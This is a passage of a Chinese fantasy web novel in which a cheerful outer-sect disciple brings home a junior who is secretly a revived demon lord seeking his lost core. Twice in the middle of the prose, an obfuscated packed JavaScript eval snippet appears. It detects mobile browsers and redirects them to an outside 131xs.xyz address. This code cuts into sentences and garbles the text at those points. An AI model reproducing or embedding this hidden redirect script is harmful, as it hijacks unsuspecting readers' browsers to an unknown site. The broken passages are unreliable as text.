蔺无咎深吸一口气:“狗咬的。” “哪条狗,这么过分?师姐等下帮你去打它!”林予微挥着筷子,十分气愤道。 竟敢在她小师弟漂亮俊秀的脸蛋上留下如此丑陋的印记!简直是罪不可恕! 蔺无咎道:“大抵是饿极了,才乱咬人,眼下已经跑远了!” “师姐还是先吃饭吧。” 林予微捧碗,懵懵地点了点头,目光在小师弟下巴的牙印上停留片刻,心想怎么看着不像犬类齿痕。 待她吃饱喝足,心满意足地往椅背一靠,好似想起什么,突然起身严肃道:“小师弟,我突然想起一件事。” “怎么了?” 蔺无咎歪过脑袋看向她。 林予微苦着一张脸:“我们有这么多钱付给店家吗?” 她身上只剩十几个铜板,住不起这样上等的酒楼厢房,所以下山后一路风餐露宿,连一顿像样的餐食都没吃上。 蔺无咎笑道:“师姐不必担心,自然是有的。” 说罢,他掏出钱袋放在桌上。 将小师弟救出时,林予微分明记得他身上没有任何钱袋、锦囊的饰物。如今怎么凭空变出一整袋银钱,她错愕抬眼,惊讶道:“小师弟你哪来这么多钱?” “自是有我的办法。” 魔祖一向只会杀人,不会救人。 当见林予微当着自己的面栽下去,蔺无咎先是皱眉不解地盯了她片刻,直到冲星提醒,这才极为不情愿地拽起她的后衣领,将她拎到了附近的半河镇。 凡人吃住用度都需用钱,他堂堂魔祖自然没有这种俗物。 只是在他找到魔丹,恢复修为前,万不可引人注目。蔺无咎思索良久,最终从身上扯了只镶玉的银铃走进了一家当铺。 蔺无咎没有问路,好似一早就知寻常当铺该开在城中何处,轻车熟路地摸了过去。 对于典当流程似乎也是烂熟于心。 当一魔一灵从当铺走出,蔺无咎攥着手中钱袋,沉默着与冲星达成一段共识—— 一、三百年前,他曾在凡间住过一阵。 二、并靠典当度日。 “……” 4. 微尘山 “这么说,小师弟是为了我才当掉最心爱的银铃!” 林予微听完,颇为感动,胸口有些发烫。 “……” 蔺无咎一时语塞。 也不知这凡人到底将他的话听进了多少,又究竟是从哪句话中抠出“最心爱”这般的字眼,可一回头瞥见林予微感动到热泪盈眶的模样,他最终还是选择了沉默。 但这副模样看在林予微眼中又成了另一副光景——小师弟细致内敛,默默做事却不向人邀功。 如此心性,未来定是大有可为,区区弟子考核想来也定不在话下! 林予微越想越兴奋,甚是满意地再次打量起眼前的少年。 样貌出众,性子温润纯善。 她究竟是捡了个多么好的小师弟! 蔺无咎自然猜不透林予微的脑子里究竟在想什么,见她半天没有反应,心中不耐,原想催促让她尽快动身,一转头却见林予微双手捧脸,眉眼弯弯,此时正笑盈盈地盯着他。 大魔头一时竟不知该如何应对,只是心情复杂地起身挡住她的视线:“师姐若是休息好了,我们就继续赶路吧。” “好。” 蔺无咎松了口气。 千辛万苦捡回的小师弟,自然得快快带回宗门才能叫人安下心。 林予微呲溜起身,兴奋点头:“我们这就尽快回去!” 可不等她抬腿走出两步,忽觉一阵刺痛从腹部传来。 林予微倒吸了一口凉气,慌乱地扒住门框,转过脸看向蔺无咎,愧疚而艰难地挤出一个十分苦命地微笑:“小、小师弟……恐怕还得……再、再等我一下……” 又怎么了? 蔺无咎的耐心随着林予微昏睡的两日,几乎快被消耗殆尽。若非冲星好言相劝,他早就将人扔在半路,直接杀进清虚逼问出魔丹,再将修真上下统统杀个干净。 他望向林予微落荒而逃的身影,将在银铃中寄灵的冲星揪了出来:“你不是告诉本座,只要让她吃饱喝足后自然会带我们去清虚?你看她几次折腾浪费本座时间,昏睡时还咬了本座一口,分明是有意戏弄!” 冲星虽灵识受损,与蔺无咎一样记不得前尘往事,但受凶兽祸厌以凡人灵识精魂为食影响,对凡间之事多多少少还是有些了解。 它讪讪:“她一介凡人,哪怕借她十个胆子也定然不敢戏弄主上。要怪只怪凡人性命易折,她饿了几日,这般胡吃海喝,不撑破肚皮已算走运。” 蔺无咎冷哼一声。 饿会死,累会死,吃撑了也会死…… 凡人性命倒真是脆弱。 “早知就应该将她直接丢在山林里,免得浪费本座这么多时间,本座这就去杀了她。” 察觉主上起了杀心,冲星连忙拦他:“万万不可!” 蔺无咎转过脸来:“有何不可?” 即便如今他灵力受限,杀一个凡人还是绰绰有余,更何况这世上又不止她一个清虚弟子。 冲星连忙道:“清虚弟子上千,自然不缺这一个。” “当年魔祖遭众仙门暗算,也该清楚仙门中人个个道貌岸然,精于算计,像她这般缺心眼确实不多见。不如等魔祖取回魔丹,再处理这凡人也不迟。” “……” 大魔头思索片刻,攥紧的拳头这才松开。 - 折腾大半日后,二人一驴才重新踏上回宗门的路。 为避免自己这位“生龙活虎”的师姐又昏死在半路,再猝不及防狗啃他一口,蔺无咎在镇中租了辆马车。 他原以为自己做到如此已是仁至义尽,林予微却得寸进尺托住她那头怪叫大耳驴的屁股,将它硬生生地塞进了车厢。 大魔头呼吸一滞,简直不敢置信。 竟让他与一头蠢驴共乘? “白眼蠢笨,和外头的马套在一起定会将整辆马车给带偏的。” 当初她带着白眼下山前往飞仙关,原本一日半就能抵达的路程,硬生生被这头一会犟着脾气不肯走,一会带她翻进山沟的胖驴拖成了三日。 林予微摸了摸鼻子,有些不好意思地看向蔺无咎:“我瞧着马车宽敞,思来想去还是让它待在这里最为妥当。小师弟觉得如何?” 当初他租下这辆最宽敞的马车就是为了让她离自己远些。 谁料,这凡人不仅挨着他坐下,还牵了头驴进来。 林予微一边手忙脚乱按着不安分的驴头,一边补充:“它很乖的,只要给它吃的,就不会吵闹的。” 蔺无咎掩下情绪,抿唇假笑:“师姐高兴就好。” 说罢,他便抱臂靠窗,闭眼休憩。 就当眼不见心不烦。 马车一路东行,林予微拿出一整叠烧饼安抚下白眼,扭头又掀开车帘去看窗外,期间不住左右张望似是在寻找什么。 她看了一会儿,开口问道:“师弟之前与我提起的当铺是在这条街吗?” 蔺无咎眼皮都未动,敷衍地“嗯”了一声。 原以为只是一句无心之言,可林予微在得到他肯定答案后,并未放下帘帐,反倒托着下巴仔细望着沿途店铺的招牌。 忽然她似是发现了什么,忙转头问:“师弟,可是这家当铺?” 蔺无咎漫不经心地掀起眼皮,透过车帘缝隙朝外看了一眼,又含糊“嗯”了一声,问:“师姐怎么了?” 林予微这才放下帘子,心满意足地转过身端坐好:“我想先记住这当铺的名字,等到来日师姐有钱了,定替你将东西赎回来。” 一只银铃罢了,他身上多得是,又有何稀罕? 蔺无咎眉梢微挑,看着林予微认真执拗的眼神,轻笑一声,点头答应:“好啊。” 不过,等他寻到魔丹,她怕是没命等到所谓“来日”了。 - 天色初晓,晨雾贴着地面涌动奔流。 “铛——” 一道浑厚的钟声响起,鸟雀哗散,搅散了漫山薄雾。 金光从云缝中透射而出,清虚宗的全貌也随之清晰地浮现眼前。 林予微牵着白眼跳下马车,深吸一口新鲜空气,扭头对车里的人招手喊道:“师弟,我们到了。”。 此刻,他们正巧赶上清虚弟子早课时间,一抬眼就能瞧见清虚上空驾驭各种稀奇古怪器物穿行的弟子。 修行之人若不能御气飞行,再不济也会驯养灵鹤、通天驹之类能日行千里的坐骑。 林予微左手一头胖驴,右手一匹马,伫立在仙气缭绕的山门前显得极为怪异。 不少路过的弟子刻意飞低,好奇地朝这边张望,在瞧清林予微的脸后,便又换上了一副见怪不怪的神情,转身飞走。 林予微早已习惯这些目光,并不在乎,转身伸手去扶师弟下马车,顺便又将那块弟子路引腰牌交到他手中,并叮嘱道:“清虚宗内外设有三层结界,需以弟子路引通行,你先将东西收好……” 蔺无咎颔首,握紧令牌,又趁着她与车夫交谈的间隙,将探究的目光落在清虚山前的石碑。 群山环绕,灵力充沛,倒还真是块风水宝地。 冲星在石碑前绕了一圈,谨慎地回到蔺无咎身边:“主上,此处确实有魔丹的气息。” 看来便是来对地方了。 蔺无咎下了马车后,先是打量片刻,紧接着迅速抬步向前,丝毫没有停下来等待身后之人的意思。 他行事一向从容,但这几日实在是被林予微叽叽喳喳烦得失去了耐性,恨不得立马取回魔丹,踏平修真,再解决眼前这个聒噪的凡人。 待林予微拾掇完,一回头,小师弟早已不见踪影,她疑惑地顺着清虚宗那道青石长阶望去,这才远远瞧见小师弟的身影。 “师弟,你等等我!”她心想小师弟怎么竟如此着急,连忙牵了白眼跟上去。 蔺无咎却仿若未闻,顺着冲星的指引跟在一群清虚弟子的身后,可还未走出多远突然被一道隐匿的屏障拦下。 他停下脚步,看着那些弟子轻而易举地穿过屏障,背影逐渐消失在长阶尽头。 蔺无咎耷拉下眼皮。 怎么回事? 林予微牵着白眼,好一阵才气喘吁吁地追上他。 “小、小师弟,你来这做什么?微尘山不从这里走。” 蔺无咎似是不解,无辜地歪头看她:“可我看他们都朝这边走。” 林予微连忙将他往下拉了几步:“那些都是内门弟子,他们的腰牌比我们多一道灵纹刻印,能够自由进出后山的内门结界。” “内门?”蔺无咎疑惑道。 林予微喘了口气,解释道:“清虚宗弟子大体分内、外两门。方才你看见天上飞的那些都是内门弟子。” “那如何才能进入内门?” 见小师弟还未正式入门,就开始询问这些,看来与她一样也有颗积极进取的心,林予微眼神当即一亮:“若能通过弟子考核就能成为内门弟子。” 蔺无咎若有所思地点了点头。 小师弟这表情分明是上了心,她忙趁热打铁,循循善诱:“半年后就是清虚宗弟子考核,若能寻到搭档,便能在考核试炼中多几分胜算,师弟既初入清虚,想必对旁的弟子还不够熟悉,不如就与师姐搭档如何?” “好。”蔺无咎十分干脆地颔首应下。 林予微原是做足了哄劝小师弟与自己搭档参加弟子考核的准备,没想到小师弟竟然如此轻而易举地答应下来。 她一时高兴过了头,上前挽住他的胳膊拖着他往下走:“那既如此,师姐便先带你回微尘山,到时候我们再好好商议如何通过弟子考核!” 大魔头不动声色地退后一步,抽回自己的袖子,垂下的眼眸划过一丝转瞬即逝的冷意。 “都听师姐的。” 林予微光顾着高兴,对此也并未在意,蹦蹦跳跳地牵上白眼,转身道:“微尘山有些偏僻,今日师姐就先带你认个路吧。” 蔺无咎不知她口中“有些偏僻”结论是从何而来。 他一路跟着林予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447116|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微绕过三座山,直到几乎已经完全看不见清虚主峰的建筑,他们这才停下脚步。 林予微拍拍他的肩,指了一个方向:“再绕过一座山,我们就……” “到了吗?”蔺无咎难得主动接话。 林予微小声道:“再绕过一座山,我们就能远远望见微尘山了。” “……” 蔺无咎的太阳穴突突直跳。 微尘山这么偏,当真还属于清虚宗地界? “不过小师弟不用担心。”她招了招手,一脸神秘兮兮地示意他凑到跟前。 蔺无咎先是左右看了一下,确定林予微叫的是他,这才不情愿地挪动脚步走近,微微弯身将耳朵凑在她身前。 “师姐,怎么了?” 林予微侧面轻声道:“前面齐云山脚的洞中有一条老蛟龙,神识能够覆盖方圆百里,它守着山中一面传送阵,只供齐云山的弟子使用,不过以师姐多年的观察……它每日午时都要打盹!” 所以……? 她满脸得意:“到时候我们就趁它睡着,偷偷去用传送阵将我们送回微尘山,就可以少走好多路呢!” “……” 以为小师弟这是不信任她,林予微连忙向他保证道:“师弟尽管放心,师姐我有多年经验,绝对靠谱,不会被发现的。” “……” - 半个时辰后,蔺无咎跟着他那“绝对靠谱”的师姐,站在了“蛟龙洞”前,险些没收敛下眼底的杀意。 他不敢置信地望着眼前仅能容下一人钻身通过的狗洞:“师姐确定没记错?” 林予微贼眉鼠眼地左右张望,确认二人踪影没被旁人发现,一把将蔺无咎拽进了草堆。 “那蛟龙洞前设了那么多禁制,直接走进去不久被人发现了?”她眉飞色舞,“师姐我另辟蹊径,从这个洞钻过去就能绕开禁制,直达传送阵!” 蔺无咎甚至一度以为眼前凡人是发现了自己的身份,几次三番故意戏弄于他,可是看着她丝滑跪地弯身,撅着屁股钻进了狗洞,无比认真地在另一头呼唤他。 大魔头又陷入了深深的怀疑。 “师弟,你还愣着干什么?快过来呀!等会儿老蛟龙就快醒了。” 三百年前,即便受众仙门围剿,身为魔祖,蔺无咎恐怕心中也从未有惧,但面对此情此景,他生平怕是第一次萌生出退缩之意。 “白眼钻不进去,我留下陪它。” 林予微费力地从洞口另一端伸出一只手,胡乱扒拉着揪住了他的胳膊,连拖带拽:“没事,小师弟你先进来,我给白眼脖子上套了几张饼,它跑得快,自己会找回微尘山的……” “……” 蔺无咎回头。 果然,白眼早已尥蹶子跑不见了。 就这样,在林予微的催促下,大魔头心头一横,半推半就地被扯入“蛟龙洞”,并在屈辱发誓日后定要将这凡人碎尸万段。 - 二人一前一后终于风尘仆仆地来到了微尘山。 从飞仙关赶回清虚的途中,林予微早已向他隆重而又热情介绍了清虚宗的大致情况—— 清虚宗共有三峰十二山,其中他们所在的微尘山位于最偏僻的角落,不过再偏僻也是清虚地界,无论如何也是一座藏风聚气的仙山,安安静静的,最适合潜心修炼。 自见识过林予微那信口胡诌的本事,蔺无咎也大概摸明白她的话只能听信三分,对她口中的“仙山”也没有半分期待。 然而现实只会比他想象得更加糟糕。 蔺无咎活了这么久,还从未见过这种像是秃驴脑袋上长了几根潦草杂毛的“仙山”。 冲星也惭愧地表示自己从未见过。 微尘山没有镇山石,碎石黄泥路前仅插了一块题着“微尘”二字的破烂木牌。 若朝后背看还能依稀看到几行被风蚀,模糊不清的字迹——这俨然是不知从哪里卸下来的旧木牌。 察觉蔺无咎震惊的目光,林予微不自在地咳嗽几声,企图转移小师弟的注意:“我们微尘山一向节俭,咳咳……这也算是物尽其用。” “……” 蔺无咎微微耷拉下眼皮,心道:他还是第一次听人将“穷酸”二字说得那么清新脱俗。 林予微也知微尘山实在是不像样,毕竟当年师父也是神神叨叨一番吹嘘,大言不惭说自己是仙门中赫赫有名的大人物,还说自己是甲申年的天榜第一,这才将她骗上微尘山的。 她没指望小师弟能搭话,私以为师弟这会儿没拉下脸扭头就走,就算是顶好的脾气,她自顾自打破尴尬局面,干笑几声:“也不知师父今日有没有回来,我先带你去看你住处……” “……” 说到住处,林予微好像终于找到了话题,神情稍稍自在了些,又有点臭屁与显摆:“下山之前,师姐已经替你收拾过了,整整花了师姐大半月呢!” 大半月? 蔺无咎眼皮一跳,敏锐地嗅到了一丝不对劲的意味。 5. 棒槌 林予微原先只是想在师弟面前表现,可此话一出,她又觉得有些不妥,连忙补充:“其实……也没那么久。” 蔺无咎:“……” 是吗? 二人之间的气氛瞬间变得有些微妙。 林予微沉默半晌,表情痛苦纠结,最终还是没能憋出半个字眼。 大抵是实在无颜面对师弟,她僵硬地扭开面孔,不自觉加快脚步,一溜烟窜至半山腰,将蔺无咎甩在了身后。 为转移注意,林予微一路踩踩松散的黄泥地,又顺手揪一把路边秃了毛的草叶,眼睛四处乱瞟,企图给自己找点事做。 忽然她又像是发现了什么,愣了片刻,紧接着三两步上前,伸长脖子,十分惊喜道:“咦?师父回来了!” 蔺无咎顺着她的目光看去,只见山头坐落几间略显拥挤的破落屋舍,并未瞧见人影。 他疑惑收回目光,却见林予微拔腿就兴冲冲地往山上窜,一边跑还一边扯着嗓子冲山头的破屋喊:“师父——!” 林予微年纪尚小,虽极力想在小师弟面前表现出成熟稳重的姿态,但到底还是少年心性,眉眼举止间还藏不下太多的心事。 “师父,我把小师弟带回来了!” 此次下山她历经坎坷,好不容易将心心念念的小师弟带回微尘山,自是喜形于色,忍不住想在师父面前炫耀。 “师……” 可突然,林予微又像是注意到了什么,她缓缓停下脚步,将到嘴边的话咽了回去,神情有些气馁。 蔺无咎跟上前:“怎么了?” 林予微抬手指向山路尽头的那棵大椿树,叹了口气:“师父时常不在山中,若是回来了就会在院前的树上挂铜铃。” 蔺无咎顺着她所指方向看去,树下确实挂着一枚掉漆铜铃。 “如若铜铃中的铃舌被取下,就是让人不要去打扰的意思。” 说话间,林予微已经迅速调整好了心态。 不过这样也好,正好给师弟留一些时间做心理准备,免得让师父的模样吓到师弟。 她耸耸肩:“看来小师弟只能等明日才能与我去见师父了。” 一座破山头哪里来奇怪的规矩? 蔺无咎心下轻蔑,目光从那破旧铜铃上一晃而过,低头问:“师父这是在闭关?” 林予微想了想,然后摇头:“大概是在睡觉吧?” 师父素日就没个正形,不求上进,但凡师父努力些通过长老大考跻身成为内门长老,她也不至于在外门为弟子考核苦苦挣扎十一年。 说起来,当初林予微对师父闭门不出一举也十分费解,也曾偷偷摸摸跑去看师父究竟在干什么。可惜此业中道崩阻,她还未挨到墙根前,就被屋里那股臭气熏天的鸡棚子味呛得干呕不止,连滚带爬,落荒而逃。 打这以后,她就再也不曾动过偷窥的心思。 听了这话,蔺无咎若有所思地收回视线,还未想出个所以然,就被林予微一把揽住了胳膊。 “好了师弟,先别管这些了!” 他一回头,就看见他那棒槌似的师姐冲他笑得没心没肺,好像是突然失忆了般,脸上竟看不出方才半点的失落,只是热情洋溢地一把拉过他,亲昵道,“师姐这就先带你去看你的住处!” 林予微修为马马虎虎,手腕劲却是不小,蔺无咎还未反应过来,就踉跄着就被她拽走。 …… 黄泥墙、茅草顶。 新泥夹着旧泥,颜色深浅不一。 劳烦亲自收拾了半个月的屋子,看起来的确不同凡响,她这修修补补半个月,就差再重新给他糊个泥屋出来了。 肩负辅佐主上寻回魔丹这一艰巨重任的冲星原本还在心中盘算:哪怕条件再苦再烂,他也要好言相劝,先平息主上怒气,暂且留下林予微的小命。 ——毕竟清虚宗也算百年大派,护法结界怕是没有那么容易被攻破,最后还要靠林予微带他们进入。 可等冲星亲眼看到如此寒酸的屋舍,深吸一口气,扭头就对蔺无咎道:“主上,我看您还是直接杀了她,把她大卸八块,拖出去喂狗吧!” 大不了再另寻他法! 冲心替自己主上委屈:呸!这种破屋子,狗都不住!她竟还让主上住,简直就是在羞辱人! “微尘山确实不比其他地方……” 可惜林予微听不见冲星在小师弟面前已给自己判了“死刑”——还是死状十分凄惨的那种。 她托着下巴绞尽脑汁,企图狡辩:“条件虽有些艰苦,但我们修道之人嘛,随遇而安,也算磨炼心性……” “……” 蔺无咎扫了一眼旁边几间屋子。 ——确实也没好到哪里去。 怪不得当初他将人安置在镇中客栈,她便感动得不行。 原来平日就住这种地方。 林予微见他不说话,心中有些焦急,生怕小师弟不满意就这么跑了,咬了咬牙:“等师姐升至七境,习得壶天化形术,定为你变个大院子出来!” 七境。 蔺无咎挑眉,非但没有生气,反倒差点笑出声来。 她倒还真是敢想。 冲星破口大骂:“她为留下主上,真是什么话都说的!这微尘山肯定有猫腻!主上千万不要上她的当!仙门中人果然个个厚颜无耻……” 传闻人族修士若能修满七境便可飞升天界,可自三百年前魔祖蔺无咎斩断天梯后,就再无人飞升,整个修真的七境修士也是屈指可数。 而她,林予微。 一个修为停留在一境十一年,并且没有半点长进的清虚宗外门弟子,竟还妄想升至七境?简直是痴人说梦。 蔺无咎心中冷嗤,可一转头却看见林予微格外认真的神情。 “……” 他这位棒槌师姐恐怕脑子真是坏掉了。 - 面对如此破烂不堪的房屋,堂堂魔祖自是不肯屈尊降贵,借着林予微带他四处参观的间隙——其实也不应用“参观”二字,多年来微尘山只有师徒二人,整座山总共就那么疙瘩点的地方,还有一眼就望到头的几间破屋,也为难林予微叽叽喳喳能为他介绍了近一个时辰。 蔺无咎抱臂胸前,立在漏风的破门板前,狭长眼尾一扫,上下打量着自己的“未来住处”,心中不自觉开始憋坏——究竟怎么才在不被人发现的情况下将它推倒? 忽然,他歪头注意到门边糊得不太扎实的墙面,轻轻一戳,还未使得上力,整座黄泥茅草屋就这么在他诧异的目光中,“轰”地塌了个彻底。 “始作俑者”反应极快,听到泥墙松动的瞬就躲远了,可站在另一头的林予微就没那么幸运,险些被气浪掀翻,扬了满头满脸的黄泥沙,模样看起来狼狈至极。 微尘山很穷,总共就这么几间屋子,如今倒了一间,只剩下师父棠九枝偏院的那间杂物间能住人。眼看时辰也不算早了,今日收拾怕是来不及。 如今出了这档子事,实在让人难堪。 林予微顾不住拾掇自己,只是满心满眼想着如何稳住小师弟。她胡乱拍掉脸上的灰,有些愧疚地从黄泥茅草废墟中扒出一床被褥,并将自己的房间让了出去。 “今日只能委屈小师弟先和我睡一间屋子了。” 为彰显自己身为师姐对小师弟的谦让爱护,顺便弥补一下微尘山“摇摇欲坠”——其实并不存在的形象,林予微故作大度:“小师弟,你之前受邪气影响身子骨弱,今夜还是睡床,师姐打地铺就行。” 大魔头可不懂什么谦让之礼,对师姐弟情深的戏码也没多大兴趣,自然不会拒绝。 林予微的房间布局陈设算不得雅致,但好在整洁干净。 不过最让蔺无咎诧异的还是隔间里那一墙塞得满满当当的各类符术心法剑谱,甚至还有一箩筐画到一半皱巴巴的符纸。 摆了那么多书卷在屋中,当真会看吗? 蔺无咎转念一想。 这凡人若能老老实实地将这些卷宗翻看一遍,恐怕也不至于到现在还是个外门弟子。 - 天色还未彻底暗下,大魔头就心安理得地霸占了林予微的床榻,不给她任何反悔机会。 经过几日接触,蔺无咎原以为自己这位师姐,虽是个没什么脑子的棒槌,但也总该知道男女之间应当避嫌。 事实证明,他还是将她看得太高。 他那棒槌师姐对着符箓书照抄了许久,千辛万苦才画出两张勉强能用、但效果不佳的清净符——据他猜测,这应该是能迅速清净身体与衣物的符术。 大魔头心中点评,倒不算那么蠢。 可林予微前脚刚点符,下一刻迎头就被凭空倒灌的大水浇了个透彻。 蔺无咎:“……” 他虽不懂这些仙门术法,但也觉得十分不对劲。 可林予微却好似早已习惯,不仅不觉得有任何不妥,甚至忽略他的存在直接在打开的衣柜门后旁若无人地换起了衣服,结束后还不忘叮嘱他,用符时尽量离床褥远一些,紧接着就抱起枕头蛄蛹了两下,挨地倒头就睡。 “……” - 深更半夜,蔺无咎在黑暗中睁开双眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447117|185148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他撑臂起身,靠着床沿,借着窗缝透出的月光看向睡梦中的林予微,只见她腰间扭着被子,睡得四仰八叉、毫无形象可言,看起来睡得极为安稳。 蔺无咎阖了阖眼,手背筋骨暴起,眉间的天魔印忽明忽暗似是呼之欲出。 锥心刺骨的剧痛感从胸腔内传来,血痕如盘蛇般缠绕上他的脖颈。 “主上!”被派出探查情况的冲星一回来就目睹此景,忧心忡忡:“又是天道禁制反噬?” 蔺无咎应了一声,似乎并不以为意,伸手抹去唇边的血迹,语调冷淡:“说吧,查到了什么。” 冲心虽担忧主上身体,但也不敢多问,只好顺着他的话回答:“这清虚宗虽开山立派不过几百年,里里外外却设了三层上古大阵,若是主上全盛时自然不会将这些东西放在眼里,只是如今……” 冲心看着他身上的血痕,欲言又止,“恐怕如今也只能先依这凡人所言,通过弟子考核进入内门再另找机会寻找魔丹。” 蔺无咎沉默不言,只是垂下赤金瞳眸,再次打量起林予微难看的睡姿。 月色映照下,林予微的脖颈显得白皙而又纤细,只要稍一用力便可轻易折断。 可惜,她现在还不能死。 倒也算命大。 他微微仰面,呼出一口气,起身朝屋外走去。 月色满地,银白清辉一张巨网将整座微尘山笼罩其中。 瞧见蔺无咎离开,冲星忙不迭跟了上去:“主上,你这是要去哪?” “出去走走。” 身上的血痕虽已被他强行压下,但体内的刺痛感仍未消退,大抵是受反噬影响,他心中杀意也随之被激起。 若继续留在屋中,他保不免会失控杀了那凡人。 “此次前去探查,还有什么发现?” 冲星思索片刻:“倒也没什么其他发现,就是觉得这微尘山有些奇怪。” 常人感应周身环境,往往困于五官,但冲星身为灵体,感官要敏锐许多。 它抓耳挠腮,一时也答不上来:“反正就是觉得有些奇怪。” 蔺无咎没有答话,不知为何他忽然想起白天看到微尘山前那块破木牌。 闲来无事,也当消磨一下心中杀意。 想到这里,他背手就朝山下走去。 - 万籁无声,天地间好似只剩窸窸窣窣的踏叶声,山雾随夜色从四面八方升起,满地重重树影。 不知走了多久,蔺无咎停下了脚步。 他眉头微动,透过夜色看向远处,转头询问冲星:“白天这条山路有这么长吗?” “微尘山不高,主上白天上山最多不过花了一炷香的时间,如今都快走了一个时辰还不见山脚的那块破木牌。” 冲星突然反应过来,“微尘山果然有问题!” “既走不出,那就回去吧。”蔺无咎身上的血痕已经彻底褪下,眼看天色将亮,他也不做停留。 他此行并非探秘,只要不影响他寻找魔丹,一切都与他无关。 一道寒风袭来。 不等他转身顺着原路返回,冲星忽然发出一道见了鬼般惨绝人寰的尖叫。 “主上!你看身后!” 蔺无咎闻声回头。 只见白日里山脚那块破木牌不知何时出现在身后不远的斜坡上,而他也不知何时站在了山脚。 冲星鬼哭狼嚎地就往他袖子里钻:“主上,这微尘山不会闹鬼吧?!” 它一个剑灵,与鬼同为灵体,又有什么可怕的? 蔺无咎嫌弃地将它甩开,抬步走近木牌。 头顶枝叶无风摇晃,蔺无咎似是察觉什么,眉心一蹙。 不好。 不等他反应过来,一团浓雾凭空出现就这么劈头盖脸罩了下来。 蔺无咎甩了甩脑袋,神志竟难以遏制地恍惚起来。 “冲星!” “……” 周身竟无人应答。 浓雾转瞬又被狂风撕碎,蔺无咎的瞳孔霎时放大。 眼前的微尘山赫然变成了另一幅景象—— 层峦叠翠,山林郁郁葱葱,云雾缭绕,琼宇瑶阶,宛若仙境。 远处呼啸的风声裹挟着一群少年的恣意谈笑灌入他耳中,那声音断断续续,让人有些听不太真切。 “游乎四海,任逍遥。” “以后此处便叫逍遥山吧……” 蔺无咎抬眼,原本山脚的那块破木牌不知何时被一块半人高的镇山石取代,石面上笔锋遒劲恣意,题着正是“逍遥山”三个字…… 6. 画像 回到微尘山的这一晚,林予微睡得十分安稳。 她习惯早起,一睁眼瞧见小师弟还未有清醒的迹象,也没做打扰,只是蹑手蹑脚地离开,待她收拾完毕,又与一大早吭哧吭哧摸回微尘山的白眼打了声招呼,扛起门口扫帚风风火火地闯进了师父的偏院。 这屋子原先是专门放置杂物的,许多年岁不曾打开,钥匙早就找不到了。 她稍一思索,捡起脚边的石头,还未来得及撬开锈迹斑斑的门锁,就听另一边屋内吊起了颤颤巍巍的细嗓:“小微啊……你这是要将师父的院子也给拆了不成?” “师父,你醒啦!”林予微一撂扫帚,喜滋滋地迎了上去。 恰巧棠九枝推开房门,从屋内走出,身前还飘了根绒羽。 林予微习惯性伸手捉住那根在空中飘飘荡荡的绒羽,捻在指尖把玩片刻,然后抬头看向棠九枝,语气里带着些许不满:“师父,前几日你去哪了?到处都寻不到人,你可知道小师弟差点就丢了!” 棠九枝捻着稀疏的小胡子,眼神飘忽,笑得有些心虚:“此事我听前山的弟子说了。师父这年纪大了,记错回山的时间。这次……你真跑到飞仙关去了?” “那是自然!”林予微扬起下巴,神情骄傲,“此行可谓万分凶险,但好在徒弟聪慧能干,将小师弟完好无损地带了回来。师父今日若是有空,就让小师弟行个拜师礼吧。” 见她兴致高昂,棠九枝自然没有拒绝的道理,点了点头:“好,那就今日吧。” 说着他又向院子里看了圈,并不见其他人的踪影。 “你师弟呢?” 林予微道:“小师弟在飞仙关受邪气影响,身子骨弱。昨日我那院子里的泥屋还塌了,应当又是受了惊吓,再加上人生地不熟的,想必昨夜睡得不安稳……” 她开口句句都是袒护,叽叽喳喳铺垫许多,生怕师弟会给师父留下不好的印象,最后才总结出一句,“小师弟还在睡觉。” 棠九枝:“……” 蔺无咎自夜里醒后就一直不曾入眠。他听力极佳,将外边的对话听得清清楚楚,却依旧没有起身的意思,只是仔细回想今日在山下见到的究竟是什么。 那场景出现在他面前仅仅停留一瞬,转眼就消失不见。 当他询问起冲星,它却说自己根本就没看见过白雾,更没见过什么幻境。 据冲星描述,他们还没走出多远,他就愣在原地不动了。 双重幻境吗? 想到这里,蔺无咎心中一阵烦闷,翻坐起身。 罢了。 无论是什么,对他而言都不重要。 如今他来微尘山,只是要拿回自己的魔丹,仅此而已。 其他的事都与他无关。 - 蔺无咎出门时,林予微正喂着胖驴。 听到身后动静,林予微回头瞧见小师弟的身影,十分惊喜地招手喊他:“小师弟,你醒啦!” 林予微光顾着看小师弟,丝毫没注意自己一伸手不小心将干草扣在白眼的脑袋上。 “噢阿——!” 她拍掉手上的碎草,直接忽略白眼呕哑嘲哳的愤怒怪叫,兴致勃勃地向小师弟跑近:“师弟若是收拾好了,就先跟我去拜见师父吧。” 蔺无咎顺着她的话,乖巧地点头应下:“好啊,那就劳烦师姐带路。” 在一间狭小的破屋里,蔺无咎终于见到了自己所谓的师父。 如此破落的山头自然住不得什么神仙人物。 他心想,能教出林予微这样的徒弟,充其量不过是个没什么修炼天赋的三四境修士,顶多糊弄糊弄一些从未接触仙门的凡人。 可事实却证明,他还是高看了微尘山。 蔺无咎的视线越过林予微的肩头,蹙眉盯了棠九枝片刻。他一向惯于伪装,旁人也很难察觉他心中真正所想,可看到棠九枝的那一刻,他眼底又难免有些真情流露。 大抵是棠九枝的样貌难看到实在让人不忍直视,蔺无咎选择移开目光,转而看向一旁满眼期待的林予微,最后在心中刻薄地得出了一个结论—— 他这缺心眼的棒槌师姐跟了十一年的江湖骗子,此生怕是与修仙入道无缘了。 